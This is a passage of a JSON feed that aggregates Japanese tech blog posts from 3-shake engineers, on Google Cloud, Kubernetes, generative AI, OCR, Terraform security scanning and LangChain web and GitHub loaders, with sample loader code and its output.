株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-load-balancing-comparison-on-platform-engineering-view-point/","isoDate":"2024-09-13T02:59:01.000Z","dateMiliSeconds":1726196341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud Sell および Service エンゲージメントモデルのプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cloud Partner Advantage プログラムにおいて、「DevOps - サービス」のスペシャライゼーション認定を取得したことをお知らせします。The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-advantage-devops/","isoDate":"2024-09-13T01:00:00.000Z","dateMiliSeconds":1726189200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AIを用いたOCR","contentSnippet":"OCRとは、Optical Character Recognitionの略で、日本語では光学文字認識といいます。OCRとは何か?OCRは、スキャンした書類や画像に含まれる文字を、コンピュータが読み取り、テキストデータに変換する技術です。つまり、紙に書かれた文字をデジタルの文字に変えて、パソコンで編集したり、検索したりできるようにするものです。OCRの仕組み画像の取り込み: スキャナーやデジタルカメラで、文字が書かれた紙の画像を撮影します。画像の前処理: 画像のノイズ除去や歪みの修正など、文字認識を円滑に行うための処理を行います。文字の切り出し: 画像から文字を一つずつ切り出します。文字の認識: 切り出した文字を、事前に登録された文字のパターンと照合し、どの文字か判定します。テキストデータへの変換: 認識された文字を、テキストデータに変換します。OCRの活用例書類のデジタル化: 紙の書類をスキャンしてテキストデータに変換することで、電子化し、保管や検索を効率化できます。データ入力の自動化: 請求書や領収書などの文字情報を自動的に読み込むことで、データ入力の手間を大幅に削減できます。検索の効率化: テキストデータに変換された文書は、キーワード検索が可能になり、必要な情報に素早くアクセスできます。翻訳: OCRでテキストデータに変換した後に、翻訳ソフトウェアを使って他の言語に翻訳することができます。OCRのメリット作業の効率化: 手作業でのデータ入力に比べて、大幅に作業時間を短縮できます。正確性の向上: 人による入力ミスを減らすことができ、データの正確性を高めます。コスト削減: 人件費の削減につながります。ペーパーレス化: 紙の書類を電子化することで、保管スペースを削減し、環境にも優しいです。OCRの種類OCRには、大きく分けて以下の2種類があります。OCRエンジン: ソフトウェア開発者が、OCR機能を自社のアプリケーションに組み込むために利用するソフトウェアです。OCRサービス: クラウド上で提供されるOCR機能で、APIなどを利用して簡単にOCR機能を導入できます。OCRの選び方OCRを選ぶ際には、以下の点に注意しましょう。認識精度: どの程度の精度で文字を認識できるか。対応言語: どの言語に対応しているか。対応フォント: どのフォントに対応しているか。対応ファイル形式: どのファイル形式に対応しているか。価格: 有料か無料か、料金体系はどうか。AIを用いたOCRcloud.google.comGoogle CloudなどパブリッククラウドでOCR機能が提供されています。Geminiで使用することもできます。OCRの活用の幅が広がり、工数削減に役立ちそうですね。まとめOCRは、紙の文書をデジタル化し、業務効率化に貢献する便利な技術です。様々な分野で活用されており、今後もその重要性はますます高まっていくでしょう。","link":"https://shu-kob.hateblo.jp/entry/2024/09/11/223456","isoDate":"2024-09-11T13:34:56.000Z","dateMiliSeconds":1726061696000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Apple Intelligence触ってみたい","contentSnippet":"k-tai.watch.impress.co.jpiPhone16で、Apple Intelligenceという名の生成AIが搭載されるようですね。Xなどではいまいち、盛り上がりに欠けているものの、生成AIを生業にするものとしては、触ってみたいです。Google PixelがGeminiを搭載したAIスマホとして売り出されていますが、iPhone・Apple Watch・Macユーザとしては、引き続きiPhoneですかね。Geminiは好きなので、Google Pixel欲しい気もしますがww","link":"https://shu-kob.hateblo.jp/entry/2024/09/10/235654","isoDate":"2024-09-10T14:56:54.000Z","dateMiliSeconds":1725980214000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GKE Observabilityツール – Cloud Service MeshとCiliumの比較","contentSnippet":"はじめに extended Berkley Packet Filter (eBPF) は、Linuxのカーネルに組み込まれた技術で、カーネルに直接変更を加えることなくプログラムを安全にカーネル内で実行することを可能にしま […]The post GKE Observabilityツール – Cloud Service MeshとCiliumの比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-service-mesh-cilium-comparison/","isoDate":"2024-09-09T04:55:11.000Z","dateMiliSeconds":1725857711000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/monitoring-and-alerting-with-cloud-monitoring-and-cloud-logging/","isoDate":"2024-09-09T01:05:46.000Z","dateMiliSeconds":1725843946000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AIにおけるベクトルインデックス","contentSnippet":"生成AIにおけるベクトルインデックス:詳細解説ベクトルインデックスとは?ベクトルインデックスは、生成AIにおいて、テキスト、画像、音声などの非構造化データを、数値のベクトルに変換し、そのベクトル間の類似度に基づいて検索や推薦を行うための技術です。なぜベクトルに変換するのか?意味の理解: 単語の並びだけでなく、単語間の関係性や文脈を数値として表現することで、コンピュータがより深くテキストの意味を理解できるようになります。高速な検索: 高次元空間上のベクトル間の距離を計算することで、従来のキーワード検索よりも高速かつ正確に類似したデータを検索できます。多様なデータの統合: テキストだけでなく、画像や音声などもベクトルに変換することで、異なる種類のデータを統一的に扱うことができます。ベクトルインデックスの仕組みベクトル化: テキストや画像などを、ニューラルネットワークなどのモデルを用いて数値のベクトルに変換します。インデックス作成: 変換されたベクトルを、効率的に検索できるようにインデックスを作成します。ベクトル検索: ユーザーのクエリをベクトル化し、作成されたインデックスから最も類似したベクトルを検索します。ベクトルインデックスの活用事例検索エンジン: キーワードだけでなく、文章の意味に基づいたより精度の高い検索を実現します。推薦システム: ユーザーの興味関心に基づいた商品やコンテンツを推薦します。チャットボット: ユーザーの質問に対して、より自然な回答を生成します。画像検索: 画像の内容に基づいた検索や、類似画像の検索を行います。ベクトルインデックスのメリット高精度な検索: キーワードマッチングだけでなく、意味に基づいた検索が可能になります。柔軟なデータ処理: テキストだけでなく、画像や音声など、様々な種類のデータを扱えます。スケーラビリティ: 大量のデータを効率的に処理できます。ベクトルインデックスの課題次元数の呪い: 高次元空間での計算コストが大きくなることがあります。モデルの選択: どのモデルを用いてベクトルに変換するかが、性能に大きく影響します。解釈の難しさ: ベクトル表現が抽象的であり、人間が直感的に理解することが難しい場合があります。今後の展望ベクトルインデックスは、生成AIのさらなる発展に不可欠な技術です。より大規模なデータセットへの対応、より高精度なベクトル化モデルの開発、そして、ベクトル表現の解釈に関する研究が進められていくことが期待されます。具体的な活用事例eコマース: ユーザーの過去の購入履歴や検索履歴に基づいた商品推薦カスタマーサポート: チャットボットによるFAQ検索や、ユーザーの問い合わせに対する自動応答医療: 医療論文の検索や、診断支援金融: リスク評価や不正検知まとめベクトルインデックスは、生成AIの性能を飛躍的に向上させるための重要な技術です。様々な分野での応用が期待されており、今後もその重要性はますます高まっていくでしょう。さらに詳しく知りたい場合は、以下のキーワードで検索してみてください。ベクトルデータベースベクトル検索自然言語処理機械学習ニューラルネットワーク何か他に聞きたいことがあれば、お気軽にご質問ください。より具体的な質問の例:特定のベクトルデータベースについて詳しく知りたいベクトルインデックスを構築する際の注意点ベクトルインデックスを生成AIの開発にどのように活用できるかこれらの質問に対して、より詳細な情報を提供できます。","link":"https://shu-kob.hateblo.jp/entry/2024/09/06/234850","isoDate":"2024-09-06T14:48:50.000Z","dateMiliSeconds":1725634130000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run GPU + Ollama gemma2 のパフォーマンスを図ってみる","contentSnippet":"概要Google Cloud 上で申請することで、Cloud Run GPU が使えるようになったので実行してみます。https://cloud.google.com/run/docs/configuring/services/gpu?hl=ja申請フォームGoogle Cloud では以下のように、サンプルが載っているので一旦それの通りの沿って、Gemma2 を起動するアプリケーションを作成します。https://cloud.google.com/run/docs/tutorials/gpu-gemma2-with-ollama?hl=jaとはいえ、それだけだとそのまま...","link":"https://zenn.dev/satohjohn/articles/912b4c718a8d74","isoDate":"2024-09-06T08:31:03.000Z","dateMiliSeconds":1725611463000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Cloud Operator Days Tokyo 2024 でLLMで運用を改善する時の基本のキを話してきた #CODT2024","contentSnippet":"はじめにこんにちは。今日、Cloud Operator Days 2024 クロージングイベントにて「2024年版 運用者たちのLLM」というタイトルで登壇させていただきました。この記事では、発表の内容と、それに対する反響、そして個人的な振り返りを共有したいと思います。https://cloudopsdays.com/ より引用発表資料 speakerdeck.com発表の概要今回の発表では、LLM(大規模言語モデル)が運用にもたらす可能性と課題について探りました。主に以下のポイントに焦点を当てて議論を展開しました。AIOpsの文脈におけるLLMの位置づけLLMによる運用タスクの改善インシデント対応ドキュメンテーションコード分析LLM活用における課題「幻覚」問題不完全性とバイアス効果的なLLM活用のための戦略適切な利用方法プロンプトエンジニアリングの重要性発表タイトルを「2024年版 運用者たちのLLM」としたのには、理由があります。AIOpsが流行した際に見られた議論が、LLMについても繰り返されているなぁと感じたからです。仕方ないのですが新しい技術が登場するたびに、その可能性と課題について同様の議論が繰り返されます。この観察から、LLMの運用への適用についても、過去の教訓を活かしつつ、冷静に評価することの重要性を強調したいと考えました。技術の進化は確かに速いですが、基本的な課題や考慮すべき点は、意外にも変わらないことが多いのです。そのため、この発表ではLLMの新しい部分を認識しつつも、過去の類似技術の導入事例から学び、より成熟したアプローチで運用に活かす方法を提案することを目指しました。LLMがもたらす可能性LLMは、自然言語処理能力と豊富な知識ベースを活かして、運用の様々な側面を改善する可能性を秘めています。例えば:インシデント対応:過去の類似事例の迅速な検索と解決策の提案ドキュメンテーション:自動生成や更新、整理による効率化コード分析:バグの検出、最適化の提案、セキュリティ脆弱性の指摘これらでは、運用チームの生産性向上と、人間のエラーを減少させることが期待できます。課題と注意点一方で、運用におけるLLMにはいくつかの重要な課題があります。「幻覚」問題:事実と異なる情報を自信を持って提示してしまう不完全性:最新の情報や専門的な知識が不足している可能性バイアス:学習データに含まれるバイアスが出力に反映されるこれらの課題に対処するためには、LLMの出力を常に人間が検証し、適切に管理することが重要です。効果的な活用に向けてLLMを効果的に活用するためには、以下のアプローチが有効です。明確な利用ガイドラインの策定実行能力を奪っておくプロンプトエンジニアリングのスキル向上人間とLLMの協調作業モデルの確立継続的な学習と改善のプロセス導入反響と今後の展望発表後、参加者から興味深いフィードバックをいただきました。特に、LLMの実際の運用現場での活用事例や、課題への具体的な対処法に関する質問が多く寄せられました。これらの反応から、運用におけるLLM活用はまだ発展途上であり、多くの企業や組織、個人がまだまだ試行錯誤の段階にあることがわかりました。今後は、より具体的な事例研究や、ベストプラクティスの共有が求められると感じています。さいごにLLMは確かに素晴らしい技術ですが、万能ではありません。現段階だと人間の専門知識や判断力と組み合わせることで、初めてその真価を発揮します。今後も、LLMと運用の関係性について研究を続け、自動化の楽しさを紹介していきたいと考えています(ホンマか??)。","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","isoDate":"2024-09-06T06:46:07.000Z","dateMiliSeconds":1725605167000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年版 運用者たちのLLM","contentSnippet":"Cloud Operator Days 2024 クロージングイベント\\rhttps://cloudopsdays.com/closing/\\r\\rとても、端的に言うと「プロンプトエンジニアリングをしよう」って話。\\rこの発表資料は、LLM(大規模言語モデル)によるIT運用の可能性と課題を探っています。AIOpsの概念を基に、LLMがインシデント対応、ドキュメンテーション、コード分析などの運用タスクをどのように改善できるかを説明しています。同時に、LLMの「幻覚」や不完全性といった課題も指摘し、適切な利用方法やプロンプトエンジニアリングの重要性を強調しています。\\r\\r登壇時ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","link":"https://speakerdeck.com/nwiizo/2024nian-ban-yun-yong-zhe-tatinollm","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Anker Soundcore Space A40を買った(True wireless earphone)","contentSnippet":"Anker Soundcore Space A40を買いました。https://www.ankerjapan.com/products/a3936前から使ってみたかったところに、Amazonのセールで¥12,990 -> ¥8,990と安くなってたので、購入を決意。対抗馬は横向きで寝ててても使いやすいっぽい Anker Soundcore Sleep A20 でした。ただ、Sleep A20はセールしていなかったのと、私が寝るときはだいたい寝る時は仰向けスタートなので、Space A40でよかろうと判断。","link":"https://blog.atusy.net/2024/09/06/anker-soundcore-a40/","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"zfをline-wise化して直感的な挙動にするマッピング","contentSnippet":"zfがline-wiseに作用するようnnoremap zf zfVやvnoremap zf mode() ==# \'V\' ? \'zf\' : \'Vzf\'しとくと便利","link":"https://blog.atusy.net/2024/09/06/linewise-zf/","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud Gemini向けの生成AIのプロンプトエンジニアリング","contentSnippet":"cloud.google.com生成AIのプロンプトエンジニアリングは様々な手法がありますが、Gemini for Google Cloudなんて出ているのですね。Google Cloud のプロダクトとサービスに関しては、Geminiは学習済のようで、詳しいようです。読んで勉強したいと思います。","link":"https://shu-kob.hateblo.jp/entry/2024/09/05/235035","isoDate":"2024-09-05T14:50:35.000Z","dateMiliSeconds":1725547835000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Mini-Omni OSSでSpeech-to-Speechができるようになる?","contentSnippet":"arxiv.orgGPT-4oの進化系で、リアルタイム音声会話のできる生成AIがOSSで出たようです。github.comその名もMini-Omni。小型モデルでどうリアルタイム音声会話を実現したのか興味深いですね。生成AIでリアルタイム音声会話は難しく、Speech-to-Text-to-Speechという変換手順を踏む必要があり、時間がかかっていたところ、リアルタイム、つまりSpeech-to-Speechで早く処理できるようになった、ということですね。ぜひ論文を読んでみたいと思います。以下、AbstractをGeminiで訳してみました。(OpenAIちゃうんかいw)言語モデルの進歩とMini-Omni言語モデルの最近の進歩は、大きな成果を上げています。GPT-4oは新たなマイルストーンとして、人間とのリアルタイム会話が可能となり、人間に近い自然な流暢さを示しています。このような人間とコンピュータのインタラクションを実現するには、音声モダリティで直接推論を行い、ストリーミングで出力生成できるモデルが必要となります。しかし、これは現在の学術的なモデルではまだ実現できていません。これらのモデルは通常、音声合成のために追加のTTSシステムに依存しており、望ましくない遅延が生じます。本論文では、リアルタイム音声インタラクションが可能なオーディオベースのエンドツーエンド会話モデルであるMini-Omniを紹介します。この機能を実現するために、テキスト指示による音声生成方法と、推論時のバッチ並列戦略を提案しています。この手法は、元のモデルの言語能力を最小限の劣化で保持するのに役立ち、他の研究がリアルタイムインタラクション機能を確立できるようにします。このトレーニング方法を「Any Model Can Talk」と呼んでいます。また、音声出力を最適化したモデルをファインチューニングするためのVoiceAssistant-400Kデータセットも紹介します。私たちの知る限り、Mini-Omniはリアルタイム音声インタラクションのための最初の完全なエンドツーエンド、オープンソースモデルであり、今後の研究に貴重な可能性を提供します。","link":"https://shu-kob.hateblo.jp/entry/2024/09/04/233919","isoDate":"2024-09-04T14:39:19.000Z","dateMiliSeconds":1725460759000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloudの生成AIサンプルアプリEnterprise Knowledge Solution (EKS)","contentSnippet":"github.comGoogle Cloudの生成AIサンプルアプリ「Enterprise Knowledge Solution」 (EKS)がGitHubで公開されています。EKSはAmazon Elastic Kubernetes Serviceと紛らわしい(苦笑)「Enterprise Knowledge Solution」 はIAPとCloud RunベースでUI付きの生成AIアプリケーションをさっとデプロイできるようです。私はまだ試せていないですが、是非とも触ってみたいですね。terraformでデプロイできる模様。これは面白そう。コードも参考になりそうですね。","link":"https://shu-kob.hateblo.jp/entry/2024/09/03/235705","isoDate":"2024-09-03T14:57:05.000Z","dateMiliSeconds":1725375425000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Github Actions で見る tfsec と Trivy の今 ~ Terraform 静的解析","contentSnippet":"Github Actionsでtfsecを実装する際に、以下を発見して良いなと思ったので試してみたhttps://tech.crassone.jp/posts/how_tfsec-pr-commenter-action_was_introduced_to_significantly_reduce_the_execution_time_of_terraform_security_scans# https://aquasecurity.github.io/tfsec/v1.0.11/getting-started/configuration/github-actions/pr-comme...","link":"https://zenn.dev/yokoo_an209/articles/trivy-for-terraform","isoDate":"2024-09-03T14:17:49.000Z","dateMiliSeconds":1725373069000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Github ActionsでCross ProjectのDirect Workload Identity Federationを試す","contentSnippet":"はじめに現在、Workload Identity Federation の認証は以下2種類があります。Direct Workload Identity Federation(推奨、本記事の内容)Workload Identity Federation through a Service Account(従来の方法)今回は、Github Actions上で、Direct Workload Identity Federation を使用して Google Cloud の Cross Project(プロジェクトをまたぎ)でのアクセスが可能か検証します。 Direct ...","link":"https://zenn.dev/yokoo_an209/articles/direct-workloadidentity-federation","isoDate":"2024-09-03T02:12:47.000Z","dateMiliSeconds":1725329567000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"LangChain Meetup Tokyo #2に登壇し、LangChainでWebサイトの内容取得やGitHubソースコード取得、というタイトルで発表しました","contentSnippet":"langchain.connpass.comLangChain Meetup Tokyo #2に登壇してきました。私は「LangChainでWebサイトの内容取得やGitHubソースコード取得」というタイトルで発表しました!次は @shu_kob によるLangChainでWebサイトの内容取得やGitHubソースコード取得\uD83D\uDC4F #LangChainJP pic.twitter.com/ryvFxqv6M1— こぎそ | Algomatic (@kgsi) 2024年9月2日 写真撮っていただけてました。ありがとうございます。ChatGPT/LangChainによるチャットシステム構築[実践]入門作者:吉田 真吾,大嶋 勇樹技術評論社Amazon「ChatGPT/LangChainによるチャットシステム構築[実践]入門」の著者、吉田 真吾さん、大嶋 勇樹さんにもお会いできました。お二人の会社、株式会社ジェネラティブエージェンツのCEO西見公宏さんにもお会いでき、コロッケそばさん、技術者としてステキ‼️ #langchainjp pic.twitter.com/N1GE4ArjJ0— \uD835\uDE4E\uD835\uDE5D\uD835\uDE5E\uD835\uDE63\uD835\uDE5C\uD835\uDE64 吉田真吾 (@yoshidashingo) 2024年9月2日 65歳で登壇されたコロッケそばさんかっこよかったです! speakerdeck.com↑私の資料はこちらにアップロードしています。様々な学びがあり、もっと生成AIを頑張ろう、と思えた刺激的なMeetupでした!","link":"https://shu-kob.hateblo.jp/entry/2024/09/02/224106","isoDate":"2024-09-02T13:41:06.000Z","dateMiliSeconds":1725284466000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでWebサイトの内容取得やGitHubソースコード取得","contentSnippet":"https://langchain.connpass.com/event/329185/\\r\\rLangChainでは、Webサイトの内容取得やGitHubソースコード取得もできます。\\r使用してみた所感も交えてこれらの機能のご紹介をします。","link":"https://speakerdeck.com/shukob/langchaindewebsaitononei-rong-qu-de-yagithubsosukodoqu-de","isoDate":"2024-09-02T04:00:00.000Z","dateMiliSeconds":1725249600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Project IDX での Web アプリケーション開発","contentSnippet":"概要Project IDX (以下 IDX) は Google Cloud の Cloud Workstations をベースに Google がホストする仮想実装環境を提供してくれるサービスになります。https://idx.dev/PWA 対応しているため、install して利用することが可能です。(私は、 https://open-vsx.org/extension/k--kato/intellij-idea-keybindings こちらの extensions を利用しているため keybind を考えると install したほうが扱いやすいというのがあります)...","link":"https://zenn.dev/satohjohn/articles/4e7a1e5e3140e1","isoDate":"2024-09-02T03:41:10.000Z","dateMiliSeconds":1725248470000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"LangChainでgithubリポジトリのソースコードを読む方法","contentSnippet":"shu-kob.hateblo.jp昨日の記事に関連して、今回はLangChainでgithubリポジトリのソースコードを読む方法です。github.com↑サンプルソースコードを載せています。js.langchain.com↑使い方はこちら実行例npx ts-node githubLoader.ts https://github.com/shu-kob/langchain-sample-codeDocument { pageContent: \\"import { CheerioWebBaseLoader } from \'@langchain/community/document_loaders/web/cheerio\'\\\\n\\" + \\"import { RecursiveCharacterTextSplitter } from \'@langchain/textsplitters\'\\\\n\\" + \\"import { HtmlToTextTransformer } from \'@langchain/community/document_transformers/html_to_text\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' const loader = new CheerioWebBaseLoader(url)\\\\n\' + \' const docs = await loader.load()\\\\n\' + \\" const splitter = RecursiveCharacterTextSplitter.fromLanguage(\'html\')\\\\n\\" + \' const transformer = new HtmlToTextTransformer()\\\\n\' + \' const sequence = splitter.pipe(transformer)\\\\n\' + \' const newDocuments = await sequence.invoke(docs)\\\\n\' + \\" console.log(\'newDocuments:\')\\\\n\\" + \' console.log(newDocuments)\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'cheerioWebBaseLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import { GithubRepoLoader } from \'@langchain/community/document_loaders/web/github\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function readSorceCodesFromGithub(url: string) {\\\\n\' + \'\\\\n\' + \' const loader = new GithubRepoLoader(\\\\n\' + \' url,\\\\n\' + \' {\\\\n\' + \' branch: \\"main\\", // Defaultブランチが \\"master\\" でないか注意。他のブランチも選択可能\\\\n\' + \' recursive: true,\\\\n\' + \' processSubmodules: true,\\\\n\' + \' unknown: \\"warn\\",\\\\n\' + \' maxConcurrency: 5, // Defaults to 2\\\\n\' + \' ignorePaths: [\\"*.json\\", \\"*.yaml\\", \\"*.yml\\", \\"*config*\\", \\"*.md\\", \\"Dockerfile\\", \\"*ignore\\", \\".eslintrc.js\\", \\"*.svg\\"] // 除外するファイルパス\\\\n\' + \' }\\\\n\' + \' );\\\\n\' + \'\\\\n\' + \' for await (const doc of loader.loadAsStream()) {\\\\n\' + \' console.log(doc)\\\\n\' + \' }\\\\n\' + \'};\\\\n\' + \'\\\\n\' + \'readSorceCodesFromGithub(url)\\\\n\', metadata: { source: \'githubLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import * as cheerio from \'cheerio\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' // HTMLの取得\\\\n\' + \' const response = await fetch(url)\\\\n\' + \' const htmlText = await response.text()\\\\n\' + \' const cheerioText = cheerio.load(htmlText)\\\\n\' + \'\\\\n\' + \' // styleとscriptを除去\\\\n\' + \\" cheerioText(\'style\').remove()\\\\n\\" + \\" cheerioText(\'script\').remove()\\\\n\\" + \'\\\\n\' + \\" const bodyContent: string = cheerioText(\'body\').text().replace(/\\\\\\\\s+/g, \'\')\\\\n\\" + \'\\\\n\' + \\" console.log(\'bodyContent:\')\\\\n\\" + \' console.log(bodyContent)\\\\n\' + \' return bodyContent\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'webLoad.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}これらのソースコードをプロンプトに含めて、生成AIに投げます。例えば、GitHubリポジトリの仕様を聞くなどです。多くの場合、ソースコードの文量は多くなり、それなりのトークン数になるので、200万トークン対応のGemini-1.5などを使うのが良いでしょう。","link":"https://shu-kob.hateblo.jp/entry/2024/09/01/235529","isoDate":"2024-09-01T14:55:29.000Z","dateMiliSeconds":1725202529000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでURLからWebページの中身を読み込む方法","contentSnippet":"langchain.connpass.com今度、Langchain Meetup Tokyoで喋るので、「LangChainでURLからWebページの中身を読み込む方法」を準備中github.com↑ソースコードを上げておきました。npx ts-node cheerioWebBaseLoader.ts https://shu-kob.hateblo.jp/entry/2024/08/29/234143という形で実行し、以下の結果が得られます。newDocuments:[ Document { pageContent: \'Toilを無くして徒然なるままに日暮し硯に向かひたい 読者になる Toilを無くして徒然なるままに日暮し硯に向かひたい\\\\n\' + \'生成AIアプリケーション開発などを行うエンジニアのブログです。 2024-08-29 オライリーのAWS生成AI本 AWSではじめる生成AI\\\\n\' + \'―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje\\\\n\' + \'Barth,Shelbee EigenbrodeオライリージャパンAmazon そういや、オライリージャパンからAWSの生成AI本出てますね。\\\\n\' + \'欲しいと思いながらも買うてない。 現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、\\\\n\' + \'面白そうなら買うてみるしか! 翻訳はAWS Japanの久富木 隆一さん。 AWSの中の人が翻訳しているので確かでしょうね! shu-kob\\\\n\' + \'2024-08-29 23:41 読者になる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'shu-kob 2024-08-29 23:41 読者になる 広告を非表示にする 関連記事 2024-08-04 日本生成AIユーザ会\\\\n\' + \'Geminiマルチモーダルプログラミング(ハンズオン)を2024年8月13日(… genai-users.connpass.com\\\\n\' + \'このブログで何回か書いておりますが… 2024-07-20 Google Gemini 1.5/LlamaIndex/LangChain\\\\n\' + \'人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5 に対応した技…\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'1.5/LlamaIndex/LangChain 人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5\\\\n\' + \'に対応した技… 2024-06-07 Google Cloud Vertex AI Agent Builderの使い方\\\\n\' + \'RAG(Retrieval-Augmented Generation) RAG(Retrieval Augmente… 2024-04-05\\\\n\' + \'生成AIアプリケーション開発入門ハンズオン genai-users.connpass.com この記事は、日本生成AIユーザ会 #1 … 2023-12-17\\\\n\' + \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\\\\n\' + \'コメントを書く \xab SRETT#10 ~ 夏のSRE祭り!アーカイブ動画… 「SREをはじめよう」(Becoming SRE邦訳)が… \xbb プロフィール\\\\n\' + \'id:shu-kob 読者です 読者をやめる 読者になる 読者になる このブログについて 検索 リンク はてなブログ ブログをはじめる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'このブログについて 検索 リンク はてなブログ ブログをはじめる 週刊はてなブログ はてなブログPro 最新記事 SRETT#10 ~\\\\n\' + \'夏のSRE祭り!アーカイブ動画公開! オライリーのAWS生成AI本 「SREをはじめよう」(Becoming SRE邦訳)が出版 Google Cloud\\\\n\' + \'エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\\\\n\' + \'後継者不足のCOBOLを生成AIに引き継ぎ 月別アーカイブ ▼ ▶ 2024 2024 / 8 2024 / 7 2024 / 6 2024 / 5\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2024 / 6 2024 / 5 2024 / 4 2024 / 3 2024 / 2 ▼ ▶ 2023 2023 / 12\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2023 / 12 はてなブログをはじめよう! shu-kobさんは、はてなブログを使っています。あなたもはてなブログをはじめてみませんか?\\\\n\' + \'はてなブログをはじめる(無料) はてなブログとは Toilを無くして徒然なるままに日暮し硯に向かひたい Powered by Hatena Blog |\\\\n\' + \\"ブログを報告する if (typeof window.Hatena === \'undefined\') { window.Hatena = {}; } if\\\\n\\" + \\"(!Hatena.hasOwnProperty(\'Star\')) { Hatena.Star = { VERSION: 2, }; } (function(d,\\\\n\\" + \'s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id))\\\\n\' + \'return; js = d.createElement(s); js.id = id; js.src =\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'VERSION: 2, }; } (function(d, s, id) { var js, fjs =\\\\n\' + \'d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js =\\\\n\' + \'d.createElement(s); js.id = id; js.src =\\\\n\' + \'\\"//connect.facebook.net/ja_JP/sdk.js#xfbml=1&appId=719729204785177&version=v17.0\\";\\\\n\' + \\"fjs.parentNode.insertBefore(js, fjs); }(document, \'script\', 